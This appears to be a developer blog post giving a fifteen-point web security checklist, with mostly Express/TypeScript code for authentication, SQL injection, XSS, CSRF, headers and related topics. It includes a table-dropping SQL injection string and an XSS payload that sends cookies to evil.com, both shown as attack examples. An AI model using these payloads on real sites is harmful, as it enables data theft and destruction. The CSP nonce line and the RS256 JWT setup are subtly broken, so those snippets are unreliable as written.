I’ve been on both sides of web security — building applications with vulnerabilities I didn’t know existed, and later, doing security reviews where I found those same vulnerabilities in other people’s code. The uncomfortable truth is that most web applications have at least 3-5 exploitable security issues at launch.

This checklist is the one I run through before every deployment. It’s not exhaustive (security never is), but it covers the vulnerabilities I see exploited most often in the real world.

The Checklist at a Glance

# Check Severity Effort
1 Authentication & passwords Critical Medium
2 Authorization (access control) Critical Medium
3 SQL injection Critical Low
4 XSS (Cross-Site Scripting) High Low
5 CSRF protection High Low
6 Security headers Medium Low
7 HTTPS everywhere Critical Low
8 Input validation High Medium
9 File upload security High Medium
10 Rate limiting Medium Low
11 Dependency vulnerabilities High Low
12 Secrets management Critical Medium
13 Logging & monitoring Medium Medium
14 CORS configuration Medium Low
15 Data exposure High Medium

1. Authentication & Passwords

Password Hashing

// ❌ NEVER do this
const hashedPassword = crypto.createHash('sha256').update(password).digest('hex');
// MD5 and SHA are NOT password hashing algorithms

// ✅ Use bcrypt or Argon2
import bcrypt from 'bcrypt';

const SALT_ROUNDS = 12; // Increase as hardware gets faster

async function hashPassword(password: string): Promise<string> {
  return bcrypt.hash(password, SALT_ROUNDS);
}

async function verifyPassword(password: string, hash: string): Promise<boolean> {
  return bcrypt.compare(password, hash);
}

Session Management

// Secure session configuration
app.use(session({
  secret: process.env.SESSION_SECRET, // Long, random, from env
  name: '__session',                   // Don't use default 'connect.sid'
  resave: false,
  saveUninitialized: false,
  cookie: {
    httpOnly: true,      // Can't be read by JavaScript
    secure: true,        // HTTPS only
    sameSite: 'strict',  // CSRF protection
    maxAge: 3600000,     // 1 hour
    domain: '.example.com',
  }
}));

JWT Best Practices

// JWT configuration
import jwt from 'jsonwebtoken';

const ACCESS_TOKEN_EXPIRY = '15m';  // Short-lived
const REFRESH_TOKEN_EXPIRY = '7d';  // Longer, stored securely

function generateTokens(user: User) {
  const accessToken = jwt.sign(
    { sub: user.id, email: user.email },
    process.env.JWT_SECRET!,
    { expiresIn: ACCESS_TOKEN_EXPIRY, algorithm: 'RS256' } // Use RS256, not HS256 for production
  );
  
  const refreshToken = jwt.sign(
    { sub: user.id, type: 'refresh' },
    process.env.JWT_REFRESH_SECRET!,
    { expiresIn: REFRESH_TOKEN_EXPIRY }
  );
  
  return { accessToken, refreshToken };
}

Pro Tip: Store refresh tokens in httpOnly cookies, never in localStorage. Access tokens can be in memory (lost on page refresh is fine — that’s what refresh tokens are for). This prevents XSS from stealing long-lived tokens.

2. Authorization (Access Control)

The #1 vulnerability I find in code reviews: checking authentication but not authorization.

// ❌ Bad: Checks if user is logged in, but not if they OWN this resource
app.get('/api/orders/:id', requireAuth, async (req, res) => {
  const order = await db.orders.findById(req.params.id);
  res.json(order); // Any logged-in user can see any order!
});

// ✅ Good: Verify ownership
app.get('/api/orders/:id', requireAuth, async (req, res) => {
  const order = await db.orders.findById(req.params.id);
  
  if (!order) return res.status(404).json({ error: 'Not found' });
  if (order.userId !== req.user.id && req.user.role !== 'admin') {
    return res.status(403).json({ error: 'Forbidden' });
  }
  
  res.json(order);
});

IDOR (Insecure Direct Object References)

// ❌ Users can guess/enumerate IDs
GET /api/users/1
GET /api/users/2
GET /api/users/3  // Attacker increments to access other users

// ✅ Use UUIDs + always verify access
GET /api/users/550e8400-e29b-41d4-a716-446655440000
// AND verify the requesting user has permission

3. SQL Injection

Still the #1 web vulnerability globally. If you use parameterized queries, you’re safe:

// ❌ CRITICAL VULNERABILITY: String concatenation
const query = `SELECT * FROM users WHERE email = '${email}'`;
// Attacker sends: email = "'; DROP TABLE users; --"

// ✅ Parameterized query (safe)
const result = await pool.query(
  'SELECT * FROM users WHERE email = $1',
  [email]
);

// ✅ Using an ORM (safe by default)
const user = await prisma.user.findUnique({
  where: { email: email }
});

Pro Tip: If you’re using any ORM (Prisma, Drizzle, TypeORM), you’re protected from SQL injection by default. The danger is when you use raw query methods — always use parameterized versions. For PostgreSQL-specific security, also restrict database user permissions to only what the application needs.

4. XSS (Cross-Site Scripting)

Output Encoding

// ❌ Rendering user input directly as HTML
app.get('/search', (req, res) => {
  res.send(`<h1>Results for: ${req.query.q}</h1>`);
  // Attacker: ?q=<script>document.location='http://evil.com/steal?cookie='+document.cookie</script>
});

// ✅ Use a template engine that auto-escapes
// EJS, Handlebars, React, etc. all escape by default

// ✅ For React: You're mostly safe because JSX escapes by default
function SearchResults({ query }: { query: string }) {
  return <h1>Results for: {query}</h1>; // Auto-escaped
}

// ⚠️ EXCEPT when using dangerouslySetInnerHTML
// Never use this with user input!
<div dangerouslySetInnerHTML={{ __html: userContent }} /> // ❌ XSS!

Content Security Policy (CSP)

// Strict CSP header that blocks most XSS
app.use((req, res, next) => {
  res.setHeader('Content-Security-Policy', [
    "default-src 'self'",
    "script-src 'self' 'nonce-${generateNonce()}'",  // Only allow scripts with nonce
    "style-src 'self' 'unsafe-inline'",  // Needed for some CSS-in-JS
    "img-src 'self' data: https:",
    "font-src 'self'",
    "connect-src 'self' https://api.example.com",
    "frame-ancestors 'none'",  // Prevent framing (clickjacking)
    "base-uri 'self'",
    "form-action 'self'"
  ].join('; '));
  next();
});

5. CSRF Protection

// For traditional form submissions, use CSRF tokens
import csrf from 'csrf';
const tokens = new csrf();

// Generate token per session
app.get('/form', (req, res) => {
  const token = tokens.create(req.session.csrfSecret);
  res.render('form', { csrfToken: token });
});

// Verify token on submission
app.post('/form', (req, res) => {
  if (!tokens.verify(req.session.csrfSecret, req.body._csrf)) {
    return res.status(403).send('Invalid CSRF token');
  }
  // Process form...
});

// For APIs: SameSite cookies + custom header requirement
// Set cookie: SameSite=Strict
// Require: X-Requested-With: XMLHttpRequest header
// This prevents cross-origin form submissions

6. Security Headers

// All important security headers
import helmet from 'helmet';

app.use(helmet({
  contentSecurityPolicy: { /* ... */ },
  crossOriginEmbedderPolicy: true,
  crossOriginOpenerPolicy: true,
  crossOriginResourcePolicy: { policy: 'same-site' },
  dnsPrefetchControl: true,
  frameguard: { action: 'deny' },
  hidePoweredBy: true,
  hsts: { maxAge: 63072000, includeSubDomains: true, preload: true },
  ieNoOpen: true,
  noSniff: true,
  originAgentCluster: true,
  permittedCrossDomainPolicies: false,
  referrerPolicy: { policy: 'strict-origin-when-cross-origin' },
  xssFilter: true,
}));
Header Purpose Value
Strict-Transport-Security Force HTTPS max-age=63072000; includeSubDomains; preload
X-Content-Type-Options Prevent MIME sniffing nosniff
X-Frame-Options Prevent clickjacking DENY
Content-Security-Policy Control resource loading See above
Referrer-Policy Limit referrer info strict-origin-when-cross-origin
Permissions-Policy Limit browser features camera=(), microphone=(), geolocation=()

7. HTTPS Everywhere

# Nginx: Redirect HTTP to HTTPS
server {
    listen 80;
    server_name example.com;
    return 301 https://$server_name$request_uri;
}

server {
    listen 443 ssl http2;
    ssl_certificate /etc/ssl/certs/example.com.pem;
    ssl_certificate_key /etc/ssl/private/example.com.key;
    ssl_protocols TLSv1.2 TLSv1.3;
    ssl_ciphers HIGH:!aNULL:!MD5;
}

For modern deployments with Docker, terminate SSL at your load balancer/reverse proxy.

8. Input Validation

Validate on BOTH client (UX) and server (security):

import { z } from 'zod';

const CreateUserSchema = z.object({
  name: z.string().min(2).max(100).trim(),
  email: z.string().email().toLowerCase(),
  age: z.number().int().min(18).max(120),
  website: z.string().url().optional(),
  bio: z.string().max(500).optional(),
});

app.post('/api/users', async (req, res) => {
  const result = CreateUserSchema.safeParse(req.body);
  
  if (!result.success) {
    return res.status(400).json({
      error: {
        code: 'VALIDATION_ERROR',
        details: result.error.issues,
      }
    });
  }
  
  // result.data is typed and validated
  const user = await createUser(result.data);
  res.status(201).json(user);
});

Pro Tip: Use Zod on both frontend and backend from the same schema definition. This ensures validation rules are always in sync. For API design, Zod schemas can also generate OpenAPI documentation.

9. File Upload Security

import multer from 'multer';
import path from 'path';
import crypto from 'crypto';

const upload = multer({
  storage: multer.memoryStorage(),
  limits: {
    fileSize: 5 * 1024 * 1024, // 5MB max
    files: 5,                   // Max 5 files per request
  },
  fileFilter: (req, file, cb) => {
    // Whitelist allowed MIME types
    const allowedTypes = ['image/jpeg', 'image/png', 'image/webp', 'application/pdf'];
    
    if (!allowedTypes.includes(file.mimetype)) {
      return cb(new Error('File type not allowed'));
    }
    
    // Also check extension (don't trust Content-Type alone!)
    const ext = path.extname(file.originalname).toLowerCase();
    const allowedExts = ['.jpg', '.jpeg', '.png', '.webp', '.pdf'];
    
    if (!allowedExts.includes(ext)) {
      return cb(new Error('File extension not allowed'));
    }
    
    cb(null, true);
  }
});

app.post('/api/upload', upload.single('file'), async (req, res) => {
  // Generate random filename (never use user-provided names)
  const filename = crypto.randomUUID() + path.extname(req.file!.originalname);
  
  // Upload to S3/storage (never serve from local filesystem)
  await uploadToS3(req.file!.buffer, filename);
  
  res.json({ url: `https://cdn.example.com/uploads/${filename}` });
});

10. Rate Limiting

import { Ratelimit } from '@upstash/ratelimit';
import { Redis } from '@upstash/redis';

// Different limits for different endpoints
const authLimiter = new Ratelimit({
  redis: Redis.fromEnv(),
  limiter: Ratelimit.slidingWindow(5, '15 m'), // 5 attempts per 15 min
});

const apiLimiter = new Ratelimit({
  redis: Redis.fromEnv(),
  limiter: Ratelimit.slidingWindow(100, '1 m'), // 100 req/min
});

// Apply to login endpoint
app.post('/api/login', async (req, res) => {
  const { success } = await authLimiter.limit(req.ip);
  if (!success) {
    return res.status(429).json({ error: 'Too many login attempts' });
  }
  // ... authenticate
});

11. Dependency Vulnerabilities

# Audit dependencies regularly
npm audit
# or
pnpm audit

# Fix automatically where possible
npm audit fix

# Check for outdated packages
npm outdated

# Use Snyk for deeper analysis
npx snyk test

Automated in CI/CD

# GitHub Actions
- name: Security audit
  run: npm audit --audit-level=high
  
- name: Check for known vulnerabilities
  uses: snyk/actions/node@master
  env:
    SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}

For GitHub Actions security, also pin action versions to SHA hashes to prevent supply chain attacks.

12. Secrets Management

// ❌ NEVER commit secrets
const API_KEY = "sk_live_abc123";  // In source code!

// ❌ Don't use .env files in production
// They're fine for development, but not secure for production

// ✅ Use environment variables from your platform
const API_KEY = process.env.STRIPE_SECRET_KEY;

// ✅ Better: Use a secrets manager
import { SecretsManager } from '@aws-sdk/client-secrets-manager';

const client = new SecretsManager({ region: 'us-east-1' });
const secret = await client.getSecretValue({ SecretId: 'prod/stripe-key' });

.gitignore Essentials

# .gitignore - ALWAYS include these
.env
.env.local
.env.production
*.pem
*.key
credentials.json
serviceAccount.json

13. Logging & Monitoring

// Log security events
logger.warn('Failed login attempt', {
  email: req.body.email,
  ip: req.ip,
  userAgent: req.get('user-agent'),
  timestamp: new Date().toISOString(),
});

// Log access to sensitive resources
logger.info('Sensitive data accessed', {
  userId: req.user.id,
  resource: 'payment_details',
  action: 'read',
});

// DON'T log secrets or PII
// ❌ logger.info(`Login with password: ${password}`);
// ❌ logger.info(`Credit card: ${cardNumber}`);

What to Monitor

Event Alert Level Action
5+ failed logins from same IP Warning Temporary block
Login from new country Info Send email to user
Admin action on another user Info Audit log
Mass data export Warning Review
Unusual API rate Warning Investigate
Dependency vulnerability found High Patch within 24h

14. CORS Configuration

// ❌ Bad: Allow everything
app.use(cors({ origin: '*' })); // DO NOT DO THIS with credentials

// ✅ Good: Strict CORS
app.use(cors({
  origin: ['https://myapp.com', 'https://admin.myapp.com'],
  methods: ['GET', 'POST', 'PUT', 'DELETE'],
  allowedHeaders: ['Content-Type', 'Authorization'],
  credentials: true,
  maxAge: 86400, // Cache preflight for 24h
}));

// ✅ Dynamic origin validation
app.use(cors({
  origin: (origin, callback) => {
    const allowed = ['https://myapp.com', 'https://admin.myapp.com'];
    if (!origin || allowed.includes(origin)) {
      callback(null, true);
    } else {
      callback(new Error('Not allowed by CORS'));
    }
  },
  credentials: true,
}));

15. Data Exposure

API Response Filtering

// ❌ Bad: Returns entire database row including sensitive fields
app.get('/api/users/:id', async (req, res) => {
  const user = await db.users.findById(req.params.id);
  res.json(user); // Exposes: password_hash, internal_notes, credit_card_last4...
});

// ✅ Good: Explicit response shaping
app.get('/api/users/:id', async (req, res) => {
  const user = await db.users.findById(req.params.id);
  res.json({
    id: user.id,
    name: user.name,
    email: user.email,
    avatar: user.avatar,
    joinedAt: user.createdAt,
  });
});

Error Message Safety

// ❌ Bad: Leaks internal details
app.use((err, req, res, next) => {
  res.status(500).json({
    error: err.message,      // "Cannot read property 'id' of null at UserService.js:47"
    stack: err.stack,        // Full stack trace!
    query: err.sql,          // SQL query!
  });
});

// ✅ Good: Generic error for clients, detailed error in logs
app.use((err, req, res, next) => {
  const requestId = crypto.randomUUID();
  
  // Log full details (for debugging)
  logger.error('Unhandled error', {
    requestId,
    error: err.message,
    stack: err.stack,
    path: req.path,
    userId: req.user?.id,
  });
  
  // Return safe error to client
  res.status(500).json({
    error: {
      code: 'INTERNAL_ERROR',
      message: 'An unexpected error occurred',
      requestId, // For support reference
    }
  });
});

Common Mistakes

1. Security Through Obscurity

Hiding admin panels at /admin-secret-panel isn’t security. Use proper authentication and authorization on every endpoint.

2. Client-Side Only Validation

Never trust the client. All validation must be repeated server-side. Client-side validation is for UX, not security.

3. Storing Sensitive Data in localStorage

// ❌ XSS can steal this
localStorage.setItem('token', authToken);

// ✅ Use httpOnly cookies (inaccessible to JavaScript)
res.cookie('session', token, { httpOnly: true, secure: true, sameSite: 'strict' });

4. Not Handling Token Expiry/Revocation

JWTs can’t be revoked after issuance. Use short expiry (15 min) + refresh tokens, or maintain a token blocklist for immediate revocation (logout, password change).

5. Forgetting to Secure Non-Production Environments

Staging and development environments often have real data and no security. They’re frequently the entry point for breaches. Apply the same security measures to all environments with access to real data.

Security Testing Tools

Tool Purpose Free?
OWASP ZAP Automated vulnerability scanning
Burp Suite Manual penetration testing Community edition free
Snyk Dependency vulnerability scanning Free tier
npm audit Node.js dependency audit
Mozilla Observatory HTTP header analysis
CSP Evaluator Content Security Policy check
Have I Been Pwned API Password breach checking

FAQ

What’s the minimum security every web app should have?

At absolute minimum: HTTPS, parameterized queries (no SQL injection), password hashing (bcrypt/argon2), authentication on all private endpoints, input validation (Zod/Joi), security headers (use Helmet), and npm audit in CI. This covers the most commonly exploited vulnerabilities with minimal effort.

How do I handle security for a side project vs enterprise app?

Side projects need the same fundamental security (HTTPS, hashed passwords, parameterized queries). Skip: advanced monitoring, penetration testing, SOC2 compliance. For enterprise: add rate limiting, WAF, detailed audit logging, regular security reviews, dependency scanning in CI, and incident response procedures.

Should I build authentication myself or use a service?

Use a service (Auth0, Clerk, Supabase Auth, NextAuth.js) unless security IS your product. Authentication has too many edge cases (password reset flows, token rotation, device management, MFA) to get right. The time you save lets you focus on your actual product while getting battle-tested security.

How often should I update dependencies for security?

Run npm audit weekly minimum. Critical vulnerabilities: patch within 24 hours. High: within a week. Set up Dependabot or Renovate for automated PRs. Keep your runtime (Node.js) within an active LTS version. For Rust-based tools and frameworks, the same principle applies — see our Rust guide for more.

What’s the biggest security risk for modern web apps in 2025?

Supply chain attacks (compromised npm packages) and broken access control (IDOR vulnerabilities) are the top threats in 2025. Use lockfiles, audit dependencies, pin versions, and always verify authorization on every endpoint — not just authentication. The OWASP Top 10 2024 puts “Broken Access Control” as #1 for a reason.